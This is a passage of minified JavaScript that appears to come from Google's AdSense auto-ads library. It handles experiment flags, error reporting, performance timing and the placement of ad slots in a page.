zb(a,4,b)}function Eg(a,b){return Gb(a,5,b)}function Fg(a,b){return Ab(a,6,b)}function Gg(a){J.call(this,a)}v(Gg,J);Gg.prototype.V=function(){return C(this,1,0)};function Hg(a,b){return Ab(a,1,b)}function Ig(a,b){return Ab(a,2,b)}function Jg(a){J.call(this,a)}v(Jg,J);var Ag=[2,4,5],Kg=[1,2];function Lg(a){J.call(this,a,-1,Mg)}v(Lg,J);function Ng(a){J.call(this,a,-1,Og)}v(Ng,J);var Mg=[2,3],Og=[5],Pg=[1,2,3,4];function Qg(a){J.call(this,a)}v(Qg,J);Qg.prototype.getTagSessionCorrelator=function(){return C(this,2,0)};function Rg(a){var b=new Qg;return Fb(b,4,Sg,a)}var Sg=[4,5,7];function Tg(a,b,c){var d=void 0===d?new yg(b):d;this.i=a;this.m=c;this.j=d;this.h=[];this.l=0<this.i&&Rc()<1/this.i}function Yg(a,b,c,d,e,f){var g=Ig(Hg(new Gg,b),c);b=Fg(Cg(Bg(Eg(Dg(new zg,d),e),g),a.h),f);b=Rg(b);a.l&&tg(a.j,Zg(a,b));if(1===f||3===f||4===f&&!a.h.some(function(h){return h.V()===g.V()&&C(h,2,0)===c}))a.h.push(g),100<a.h.length&&a.h.shift()}function $g(a,b,c,d){if(a.m){var e=new Lg;b=Gb(e,2,b);c=Gb(b,3,c);d&&Ab(c,1,d);d=new Qg;d=Fb(d,7,Sg,c);a.l&&tg(a.j,Zg(a,d))}} function Zg(a,b){b=Ab(b,1,Date.now());var c=fd(window);b=Ab(b,2,c);return Ab(b,6,a.i)};function ah(){var a={};this.h=(a[fg]={},a[gg]={},a[hg]={},a)};var bh=/^true$/.test("false");function ch(a,b){switch(b){case 1:return Hb(a,1,sg);case 2:return Hb(a,2,sg);case 3:return Hb(a,3,sg);case 6:return Hb(a,6,sg);default:return null}}function dh(a,b){if(!a)return null;switch(b){case 1:return D(a,1);case 7:return I(a,3);case 2:return yb(a,2);case 3:return I(a,3);case 6:return wb(a,4);default:return null}}var eh=vc(function(){if(!bh)return{};try{var a=window.sessionStorage&&window.sessionStorage.getItem("GGDFSSK");if(a)return JSON.parse(a)}catch(b){}return{}}); function fh(a,b,c,d){var e=d=void 0===d?0:d,f,g;O(gh).j[e]=null!=(g=null==(f=O(gh).j[e])?void 0:f.add(b))?g:(new p.Set).add(b);e=eh();if(null!=e[b])return e[b];b=hh(d)[b];if(!b)return c;b=new qg(b);b=ih(b);a=dh(b,a);return null!=a?a:c}function ih(a){var b=O(ah).h;if(b){var c=Wa(H(a,pg,5),function(d){return mg(G(d,ag,1),b)});if(c)return G(c,ng,2)}return G(a,ng,4)}function gh(){this.i={};this.l=[];this.j={};this.h=new p.Map}function jh(a,b,c){return!!fh(1,a,void 0===b?!1:b,c)} function kh(a,b,c){b=void 0===b?0:b;a=Number(fh(2,a,b,c));return isNaN(a)?b:a}function lh(a,b,c){return fh(3,a,void 0===b?"":b,c)}function mh(a,b,c){b=void 0===b?[]:b;return fh(6,a,b,c)}function hh(a){return O(gh).i[a]||(O(gh).i[a]={})}function nh(a,b){var c=hh(b);Sc(a,function(d,e){return c[e]=d})} function oh(a,b,c,d,e){e=void 0===e?!1:e;var f=[],g=[];Ra(b,function(h){var k=hh(h);Ra(a,function(l){var m=Cb(l,sg),q=ch(l,m);if(q){var t,y,F;var z=null!=(F=null==(t=O(gh).h.get(h))?void 0:null==(y=t.get(q))?void 0:y.slice(0))?F:[];a:{t=new Ng;switch(m){case 1:Bb(t,1,Pg,q);break;case 2:Bb(t,2,Pg,q);break;case 3:Bb(t,3,Pg,q);break;case 6:Bb(t,4,Pg,q);break;default:m=void 0;break a}zb(t,5,z);m=t}if(z=m){var E;z=!(null==(E=O(gh).j[h])||!E.has(q))}z&&f.push(m);if(E=m){var S;E=!(null==(S=O(gh).h.get(h))|| !S.has(q))}E&&g.push(m);e||(S=O(gh),S.h.has(h)||S.h.set(h,new p.Map),S.h.get(h).has(q)||S.h.get(h).set(q,[]),d&&S.h.get(h).get(q).push(d));k[q]=l.toJSON()}})});(f.length||g.length)&&$g(c,f,g,null!=d?d:void 0)}function ph(a,b){var c=hh(b);Ra(a,function(d){var e=new qg(d),f=Cb(e,sg);(e=ch(e,f))&&(c[e]||(c[e]=d))})}function qh(){return Ta(r(Object,"keys").call(Object,O(gh).i),function(a){return Number(a)})}function rh(a){Xa(O(gh).l,a)||nh(hh(4),a)};function sh(a){this.methodName=a}var th=new sh(1),uh=new sh(16),vh=new sh(15),wh=new sh(2),xh=new sh(3),yh=new sh(4),zh=new sh(5),Ah=new sh(6),Bh=new sh(7),Ch=new sh(8),Dh=new sh(9),Eh=new sh(10),Fh=new sh(11),Gh=new sh(12),Hh=new sh(13),Ih=new sh(14);function Jh(a,b,c){c.hasOwnProperty(a.methodName)||Object.defineProperty(c,String(a.methodName),{value:b})}function Kh(a,b,c){return b[a.methodName]||c||function(){}} function Lh(a){Jh(zh,jh,a);Jh(Ah,kh,a);Jh(Bh,lh,a);Jh(Ch,mh,a);Jh(Hh,ph,a);Jh(vh,rh,a)}function Mh(a){Jh(yh,function(b){O(ah).h=b},a);Jh(Dh,function(b,c){var d=O(ah);d.h[fg][b]||(d.h[fg][b]=c)},a);Jh(Eh,function(b,c){var d=O(ah);d.h[gg][b]||(d.h[gg][b]=c)},a);Jh(Fh,function(b,c){var d=O(ah);d.h[hg][b]||(d.h[hg][b]=c)},a);Jh(Ih,function(b){for(var c=O(ah),d=u([fg,gg,hg]),e=d.next();!e.done;e=d.next())e=e.value,r(Object,"assign").call(Object,c.h[e],b[e])},a)} function Nh(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function Oh(){this.l=function(){};this.i=function(){};this.j=function(){};this.h=function(){return[]}}function Ph(a,b,c){a.l=Kh(th,b,function(){});a.j=function(d){Kh(wh,b,function(){return[]})(d,c)};a.h=function(){return Kh(xh,b,function(){return[]})(c)};a.i=function(d){Kh(uh,b,function(){})(d,c)}};function Qh(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c}function Rh(a){return!!(a.error&&a.meta&&a.id)};var Sh=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");function Th(a,b){this.h=a;this.i=b}function Uh(a,b,c){this.url=a;this.u=b;this.La=!!c;this.depth=null};var Vh=null;function Wh(){if(null===Vh){Vh="";try{var a="";try{a=w.top.location.hash}catch(c){a=w.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Vh=b?b[1]:""}}catch(c){}}return Vh};function Xh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function Yh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now?a.now():null};function Zh(a,b){var c=Yh()||Xh();this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var $h=w.performance,ai=!!($h&&$h.mark&&$h.measure&&$h.clearMarks),bi=vc(function(){var a;if(a=ai)a=Wh(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function ci(){this.i=[];this.j=w||w;var a=null;w&&(w.google_js_reporting_queue=w.google_js_reporting_queue||[],this.i=w.google_js_reporting_queue,a=w.google_measure_js_timing);this.h=bi()||(null!=a?a:1>Math.random())} function di(a){a&&$h&&bi()&&($h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),$h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}ci.prototype.start=function(a,b){if(!this.h)return null;a=new Zh(a,b);b="goog_"+a.label+"_"+a.uniqueId+"_start";$h&&bi()&&$h.mark(b);return a};ci.prototype.end=function(a){if(this.h&&"number"===typeof a.value){a.duration=(Yh()||Xh())-a.value;var b="goog_"+a.label+"_"+a.uniqueId+"_end";$h&&bi()&&$h.mark(b);!this.h||2048<this.i.length||this.i.push(a)}};function ei(){var a=fi;this.m=Pf;this.i=null;this.l=this.I;this.h=void 0===a?null:a;this.j=!1}n=ei.prototype;n.Ua=function(a){this.l=a};n.Ta=function(a){this.i=a};n.Va=function(a){this.j=a};n.oa=function(a,b,c){try{if(this.h&&this.h.h){var d=this.h.start(a.toString(),3);var e=b();this.h.end(d)}else e=b()}catch(h){b=!0;try{di(d),b=this.l(a,new Qh(h,{message:gi(h)}),void 0,c)}catch(k){this.I(217,k)}if(b){var f,g;null==(f=window.console)||null==(g=f.error)||g.call(f,h)}else throw h;}return e}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}}; n.I=function(a,b,c,d,e){e=e||"jserror";try{var f=new Hf;f.h.push(1);f.i[1]=If("context",a);Rh(b)||(b=new Qh(b,{message:gi(b)}));if(b.msg){var g=b.msg.substring(0,512);f.h.push(2);f.i[2]=If("msg",g)}var h=b.meta||{};if(this.i)try{this.i(h)}catch(Jc){}if(d)try{d(h)}catch(Jc){}b=[h];f.h.push(3);f.i[3]=b;d=w;b=[];g=null;do{var k=d;if(Hc(k)){var l=k.location.href;g=k.document&&k.document.referrer||null}else l=g,g=null;b.push(new Uh(l||"",k));try{d=k.parent}catch(Jc){d=null}}while(d&&k!=d);l=0;for(var m= b.length-1;l<=m;++l)b[l].depth=m-l;k=w;if(k.location&&k.location.ancestorOrigins&&k.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var q=b[m];q.url||(q.url=k.location.ancestorOrigins[m-1]||"",q.La=!0)}var t=new Uh(w.location.href,w,!1);k=null;var y=b.length-1;for(q=y;0<=q;--q){var F=b[q];!k&&Sh.test(F.url)&&(k=F);if(F.url&&!F.La){t=F;break}}F=null;var z=b.length&&b[y].url;0!=t.depth&&z&&(F=b[y]);var E=new Th(t,F);if(E.i){var S=E.i.url||"";f.h.push(4);f.i[4]=If("top",S)}var rb= {url:E.h.url||""};if(E.h.url){var Kc=E.h.url.match(Ec),Ug=Kc[1],Vg=Kc[3],Wg=Kc[4];t="";Ug&&(t+=Ug+":");Vg&&(t+="//",t+=Vg,Wg&&(t+=":"+Wg));var Xg=t}else Xg="";rb=[rb,{url:Xg}];f.h.push(5);f.i[5]=rb;Qf(this.m,e,f,this.j,c)}catch(Jc){try{Qf(this.m,e,{context:"ecmserr",rctx:a,msg:gi(Jc),url:E&&E.h.url},this.j,c)}catch(zp){}}return!0};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})}; function gi(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};var hi=ja(["https://www.googletagservices.com/console/host/host.js"]),ii=ja(["https://www.googletagservices.com/console/panel/index.html"]),ji=ja(["https://www.googletagservices.com/console/overlay/index.html"]);nd(hi);nd(ii);nd(ji);function ki(a,b){do{var c=Nc(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0};function li(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=K(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function mi(a,b){return!((Yc.test(b.google_ad_width)||Xc.test(a.style.width))&&(Yc.test(b.google_ad_height)||Xc.test(a.style.height)))}function ni(a,b){return(a=oi(a,b))?a.y:0} function oi(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function pi(a){var b=0,c;for(c in Df)-1!=a.indexOf(c)&&(b|=Df[c]);return b} function qi(a,b,c,d,e){if(a!==a.top)return Ic(a)?3:16;if(!(488>Wf(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Wf(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Wf(a);for(b=b.parentElement;b;b=b.parentElement)if((d=Nc(b,a))&&(e=K(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a} function ri(a,b,c,d){var e=qi(b,c,a,.3,d);!0!==e?a=e:"true"==d.google_full_width_responsive||ki(c,b)?(b=Wf(b),a=b-a,a=b&&0<=a?!0:b?-10>a?11:0>a?14:12:10):a=9;return a}function si(a,b,c){a=a.style;"rtl"==b?a.marginRight=c:a.marginLeft=c} function ti(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=Nc(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function ui(a,b,c){a=oi(b,a);return"rtl"==c?-a.x:a.x} function vi(a,b){var c;c=(c=b.parentElement)?(c=Nc(c,a))?c.direction:"":"";if(c){b.style.border=b.style.borderStyle=b.style.outline=b.style.outlineStyle=b.style.transition="none";b.style.borderSpacing=b.style.padding="0";si(b,c,"0px");b.style.width=Wf(a)+"px";if(0!==ui(a,b,c)){si(b,c,"0px");var d=ui(a,b,c);si(b,c,-1*d+"px");a=ui(a,b,c);0!==a&&a!==d&&si(b,c,d/(a-d)*d+"px")}b.style.zIndex=30}};function wi(a,b){this.l=a;this.j=b}wi.prototype.minWidth=function(){return this.l};wi.prototype.height=function(){return this.j};wi.prototype.h=function(a){return 300<a&&300<this.j?this.l:Math.min(1200,Math.round(a))};wi.prototype.i=function(){};function xi(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=Nc(a,b))&&e[c]&&d(e[c])||null}function yi(a){return function(b){return b.minWidth()<=a}}function zi(a,b,c,d){var e=a&&Ai(c,b),f=Bi(b,d);return function(g){return!(e&&g.height()>=f)}}function Ci(a){return function(b){return b.height()<=a}}function Ai(a,b){return ni(a,b)<Vf(b).clientHeight-100} function Di(a,b){var c=xi(b,a,"height",K);if(c)return c;var d=b.style.height;b.style.height="inherit";c=xi(b,a,"height",K);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&K(b.style.height))&&(c=Math.min(c,d)),(d=xi(b,a,"maxHeight",K))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Bi(a,b){var c=0==pd(a);return b&&c?Math.max(250,2*Vf(a).clientHeight/3):250};var R={},Ei=(R.google_ad_channel=!0,R.google_ad_client=!0,R.google_ad_host=!0,R.google_ad_host_channel=!0,R.google_adtest=!0,R.google_tag_for_child_directed_treatment=!0,R.google_tag_for_under_age_of_consent=!0,R.google_tag_partner=!0,R.google_restrict_data_processing=!0,R.google_page_url=!0,R.google_debug_params=!0,R.google_adbreak_test=!0,R.google_ad_frequency_hint=!0,R.google_admob_interstitial_slot=!0,R.google_admob_rewarded_slot=!0,R.google_max_ad_content_rating=!0,R.google_traffic_source=!0, R),Fi=RegExp("(^| )adsbygoogle($| )");function Gi(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=zc(d.Rb);a[e]=d.value}};function Hi(a,b,c,d){this.l=a;this.i=b;this.j=c;this.h=d}function Ii(a,b){var c=[];try{c=b.querySelectorAll(a.l)}catch(g){}if(!c.length)return[];b=Ya(c);b=Ji(a,b);"number"===typeof a.i&&(c=a.i,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if("number"===typeof a.j){c=[];for(var d=0;d<b.length;d++){var e=Ki(b[d]),f=a.j;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b} Hi.prototype.toString=function(){return JSON.stringify({nativeQuery:this.l,occurrenceIndex:this.i,paragraphIndex:this.j,ignoreMode:this.h})};function Ji(a,b){if(null==a.h)return b;switch(a.h){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.h);}}function Ki(a){var b=[];xd(a.getElementsByTagName("p"),function(c){100<=Li(c)&&b.push(c)});return b} function Li(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;xd(a.childNodes,function(c){b+=Li(c)});return b}function Mi(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Ni(a){if(!a)return null;var b=A(a,7);if(A(a,1)||a.getId()||0<wb(a,4).length){var c=a.getId();b=wb(a,4);var d=A(a,1),e="";d&&(e+=d);c&&(e+="#"+Mi(c));if(b)for(c=0;c<b.length;c++)e+="."+Mi(b[c]);a=(b=e)?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null}else a=b?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null;return a}var Pi={1:1,2:2,3:3,0:0};function Oi(a){return null==a?a:Pi[a]}var Qi={1:0,2:1,3:2,4:3};function Ri(a){return a.google_ama_state=a.google_ama_state||{}} function Si(a){a=Ri(a);return a.optimization=a.optimization||{}};function Ti(a){switch(A(a,8)){case 1:case 2:if(null==a)var b=null;else b=G(a,Jd,1),null==b?b=null:(a=A(a,2),b=null==a?null:new Ld({Ga:[b],Ra:a}));return null!=b?Dd(b):Fd(Error("Missing dimension when creating placement id"));case 3:return Fd(Error("Missing dimension when creating placement id"));default:return Fd(Error("Invalid type: "+A(a,8)))}};function T(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,T):this.stack=Error().stack||""}v(T,Error);var Pf,Ui,fi=new ci;function Vi(a){null!=a&&(w.google_measure_js_timing=a);w.google_measure_js_timing||(a=fi,a.h=!1,a.i!=a.j.google_js_reporting_queue&&(bi()&&Ra(a.i,di),a.i.length=0))}(function(a){Pf=a||new Nf;"number"!==typeof w.google_srt&&(w.google_srt=Math.random());Of();Ui=new ei;Ui.Va(!0);"complete"==w.document.readyState?Vi():fi.h&&xc(w,"load",function(){Vi()})})();function Wi(a,b,c){return Ui.oa(a,b,c)}function Xi(a,b){return Ui.Oa(a,b)} function Yi(a,b,c){var d=O(Oh).h();!b.eid&&d.length&&(b.eid=d.toString());Qf(Pf,a,b,!0,c)}function Zi(a,b){Ui.Pa(a,b)}function $i(a,b,c,d){var e;Rh(b)?e=b.msg||gi(b.error):e=gi(b);return 0==e.indexOf("TagError")?(c=b instanceof Qh?b.error:b,c.pbr||(c.pbr=!0,Ui.I(a,b,.1,d,"puberror")),!1):Ui.I(a,b,c,d)};function aj(a){a=void 0===a?window:a;a=a.googletag;return(null==a?0:a.apiReady)?a:void 0};function bj(a){var b=aj(a);return b?Sa(Ta(b.pubads().getSlots(),function(c){return a.document.getElementById(c.getSlotElementId())}),function(c){return null!=c}):null}function cj(a,b){return Ya(a.document.querySelectorAll(b))}function dj(a){var b=[];a=u(a);for(var c=a.next();!c.done;c=a.next()){c=c.value;for(var d=!0,e=0;e<b.length;e++){var f=b[e];if(f.contains(c)){d=!1;break}if(c.contains(f)){d=!1;b[e]=c;break}}d&&b.push(c)}return b};function ej(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3}; if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function fj(a,b){this.i=a;this.h=b} function gj(a,b){var c=new Id,d=new Hd;b.forEach(function(e){if(Ib(e,Yd,1,ae)){e=Ib(e,Yd,1,ae);if(G(e,Wd,1)&&G(G(e,Wd,1),Jd,1)&&G(e,Wd,2)&&G(G(e,Wd,2),Jd,1)){var f=hj(a,G(G(e,Wd,1),Jd,1)),g=hj(a,G(G(e,Wd,2),Jd,1));if(f&&g)for(f=u(ej({anchor:f,position:A(G(e,Wd,1),2)},{anchor:g,position:A(G(e,Wd,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(za(g.anchor),g.position)}G(e,Wd,3)&&G(G(e,Wd,3),Jd,1)&&(f=hj(a,G(G(e,Wd,3),Jd,1)))&&c.set(za(f),A(G(e,Wd,3),2))}else Ib(e,Zd,2,ae)?ij(a,Ib(e,Zd,2,ae), c):Ib(e,$d,3,ae)&&jj(a,Ib(e,$d,3,ae),d)});return new fj(c,d)}function ij(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){d=za(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function jj(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){c.add(za(d))})}function hj(a,b){return(a=kj(a,b))&&0<a.length?a[0]:null}function kj(a,b){return(b=Ni(b))?Ii(b,a):null};function lj(){this.h=new p.Set}function mj(a){a=nj(a);return a.has("all")||a.has("after")}function oj(a){a=nj(a);return a.has("all")||a.has("before")}function pj(a,b,c){switch(c){case 2:case 3:break;case 1:case 4:b=b.parentElement;break;default:throw Error("Unknown RelativePosition: "+c);}for(c=[];b;){if(qj(b))return!0;if(a.h.has(b))break;c.push(b);b=b.parentElement}c.forEach(function(d){return a.h.add(d)});return!1} function qj(a){var b=nj(a);return a&&("AUTO-ADS-EXCLUSION-AREA"===a.tagName||b.has("inside")||b.has("all"))}function nj(a){return(a=a&&a.getAttribute("data-no-auto-ads"))?new p.Set(a.split("|")):new p.Set};function rj(a,b){if(!a)return!1;a=Nc(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function sj(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function tj(a){return!!a.nextSibling||!!a.parentNode&&tj(a.parentNode)};function uj(a){var b={};a&&wb(a,6).forEach(function(c){b[c]=!0});return b}function vj(a,b,c,d,e){this.h=a;this.H=b;this.j=c;this.m=e||null;this.A=(this.C=d)?gj(a.document,H(d,Xd,5)):gj(a.document,[]);this.G=new lj;this.i=0;this.l=!1} function wj(a,b){if(a.l)return!0;a.l=!0;var c=H(a.j,ce,1);a.i=0;var d=uj(a.C);var e=a.h;try{var f=e.localStorage.getItem("google_ama_settings");var g=f?Nb(se,f):null}catch(S){g=null}var h=null!==g&&D(g,2,!1);g=Ri(e);h&&(g.eatf=!0,kd(7,[!0,0,!1]));var k=P(Ve)||P(Ue);f=P(Ue);if(k){b:{var l={fb:!1},m=cj(e,".google-auto-placed"),q=cj(e,'ins.adsbygoogle[data-anchor-shown="true"]'),t=cj(e,"ins.adsbygoogle[data-ad-format=autorelaxed]");var y=(bj(e)||cj(e,"div[id^=div-gpt-ad]")).concat(cj(e,"iframe[id^=google_ads_iframe]")); var F=cj(e,"div.trc_related_container,div.OUTBRAIN,div[id^=rcjsload],div[id^=ligatusframe],div[id^=crt-],iframe[id^=cto_iframe],div[id^=yandex_], div[id^=Ya_sync],iframe[src*=adnxs],div.advertisement--appnexus,div[id^=apn-ad],div[id^=amzn-native-ad],iframe[src*=amazon-adsystem],iframe[id^=ox_],iframe[src*=openx],img[src*=openx],div[class*=adtech],div[id^=adtech],iframe[src*=adtech],div[data-content-ad-placement=true],div.wpcnt div[id^=atatags-]"),z=cj(e,"ins.adsbygoogle-ablated-ad-slot"),E=cj(e,"div.googlepublisherpluginad"); k=[].concat(cj(e,"iframe[id^=aswift_],iframe[id^=google_ads_frame]"),cj(e,"ins.adsbygoogle"));h=[];l=u([[l.Mb,m],[l.fb,q],[l.Pb,t],[l.Nb,y],[l.Qb,F],[l.Lb,z],[l.Ob,E]]);for(m=l.next();!m.done;m=l.next())q=u(m.value),m=q.next().value,q=q.next().value,!1===m?h=h.concat(q):k=k.concat(q);k=dj(k);l=dj(h);h=k.slice(0);k=u(l);for(l=k.next();!l.done;l=k.next())for(l=l.value,m=0;m<h.length;m++)(l.contains(h[m])||h[m].contains(l))&&h.splice(m,1);e=Vf(e).clientHeight;for(k=0;k<h.length;k++)if(l=h[k].getBoundingClientRect(), !(0===l.height&&!f||l.top>e)){e=!0;break b}e=!1}g=e?g.eatfAbg=!0:!1}else g=h;if(g)return!0;g=new Hd([2]);for(e=0;e<c.length;e++){f=a;k=c[e];h=e;l=b;if(!G(k,Pd,4)||!g.contains(A(G(k,Pd,4),1))||1!==A(k,8)||k&&null!=A(k,4)&&d[A(G(k,Pd,4),2)])f=null;else{f.i++;if(k=xj(f,k,l,d))l=Ri(f.h),l.numAutoAdsPlaced||(l.numAutoAdsPlaced=0),null==l.placed&&(l.placed=[]),l.numAutoAdsPlaced++,l.placed.push({index:h,element:k.ha}),kd(7,[!1,f.i,!0]);f=k}if(f)return!0}kd(7,[!1,a.i,!1]);return!1} function xj(a,b,c,d){if(b&&null!=A(b,4)&&d[A(G(b,Pd,4),2)]||1!=A(b,8))return null;d=G(b,Jd,1);if(!d)return null;d=Ni(d);if(!d)return null;d=Ii(d,a.h.document);if(0==d.length)return null;d=d[0];var e=Qi[A(b,2)];e=void 0===e?null:e;var f;if(!(f=null==e)){a:{f=a.h;switch(e){case 0:f=rj(sj(d),f);break a;case 3:f=rj(d,f);break a;case 2:var g=d.lastChild;f=rj(g?1==g.nodeType?g:sj(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!tj(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!te(c)&&0>=c.offsetWidth);f=!c}if(!(c= f)){c=a.A;f=A(b,2);g=za(d);g=c.i.h.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.h.contains(za(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.h.contains(za(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(!c){c=a.G;f=A(b,2);a:switch(f){case 1:g=mj(d.previousElementSibling)||oj(d);break a;case 4:g=mj(d)||oj(d.nextElementSibling);break a;case 2:g=oj(d.firstElementChild);break a;case 3:g=mj(d.lastElementChild);break a;default:throw Error("Unknown RelativePosition: "+ f);}c=g||pj(c,d,f)}if(c)return null;c=G(b,be,3);f={};c&&(f.Wa=A(c,1),f.Ha=A(c,2),f.cb=!!xb(c,3));c=G(b,Pd,4)&&A(G(b,Pd,4),2)?A(G(b,Pd,4),2):null;c=Sd(c);g=null!=A(b,12)?A(b,12):null;g=null==g?null:new Qd(null,{google_ml_rank:g});b=yj(a,b);b=Rd(a.m,c,g,b);c=a.h;a=a.H;var h=c.document,k=f.cb||!1;g=(new Bc(h)).createElement("DIV");var l=g.style;l.width="100%";l.height="auto";l.clear=k?"both":"none";k=g.style;k.textAlign="center";f.lb&&Gi(k,f.lb);h=(new Bc(h)).createElement("INS");k=h.style;k.display= "block";k.margin="auto";k.backgroundColor="transparent";f.Wa&&(k.marginTop=f.Wa);f.Ha&&(k.marginBottom=f.Ha);f.ab&&Gi(k,f.ab);g.appendChild(h);f={ra:g,ha:h};f.ha.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.Ja)f.ra.className=h.join(" ");h=f.ha;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=f.ra;var q=void 0===q?0:q;if(P(Qe)){q=void 0===q?0:q;var t=Af(d,e,q);if(t.init){var y=t.init;for(d=y;d=t.ja(d);)y=d;var F= {anchor:y,position:t.na}}else F={anchor:d,position:e};m["google-ama-order-assurance"]=q;ue(m,F.anchor,F.position)}else ue(m,d,e);b:{var z=f.ha;z.dataset.adsbygoogleStatus="reserved";z.className+=" adsbygoogle-noablate";m={element:z};var E=b&&b.Qa;if(z.hasAttribute("data-pub-vars")){try{E=JSON.parse(z.getAttribute("data-pub-vars"))}catch(S){break b}z.removeAttribute("data-pub-vars")}E&&(m.params=E);(c.adsbygoogle=c.adsbygoogle||[]).push(m)}}catch(S){(z=f.ra)&&z.parentNode&&(E=z.parentNode,E.removeChild(z), te(E)&&(E.style.display=E.getAttribute("data-init-display")||"none"));z=!1;break a}z=!0}return z?f:null}function yj(a,b){return Bd(Ed(Ti(b).map(Td),function(c){Ri(a.h).exception=c}))};function zj(a){if(P(Pe))var b=null;else try{b=a.getItem("google_ama_config")}catch(d){b=null}try{var c=b?Nb(je,b):null}catch(d){c=null}return c};function Aj(a){J.call(this,a)}v(Aj,J);function Bj(a){try{var b=a.localStorage.getItem("google_auto_fc_cmp_setting")||null}catch(d){b=null}var c=b;return c?Gd(function(){return Nb(Aj,c)}):Dd(null)};function Cj(){this.S={}}function Dj(){if(Ej)return Ej;var a=md()||window,b=a.google_persistent_state_async;return null!=b&&"object"==typeof b&&null!=b.S&&"object"==typeof b.S?Ej=b:a.google_persistent_state_async=Ej=new Cj}function Fj(a){return Gj[a]||"google_ps_"+a}function Hj(a,b,c){b=Fj(b);a=a.S;var d=a[b];return void 0===d?a[b]=c:d}var Ej=null,Ij={},Gj=(Ij[8]="google_prev_ad_formats_by_region",Ij[9]="google_prev_ad_slotnames_by_region",Ij);function Jj(a){this.h=a||{cookie:""}} Jj.prototype.set=function(a,b,c){var d=!1;if("object"===typeof c){var e=c.Sb;d=c.Tb||!1;var f=c.domain||void 0;var g=c.path||void 0;var 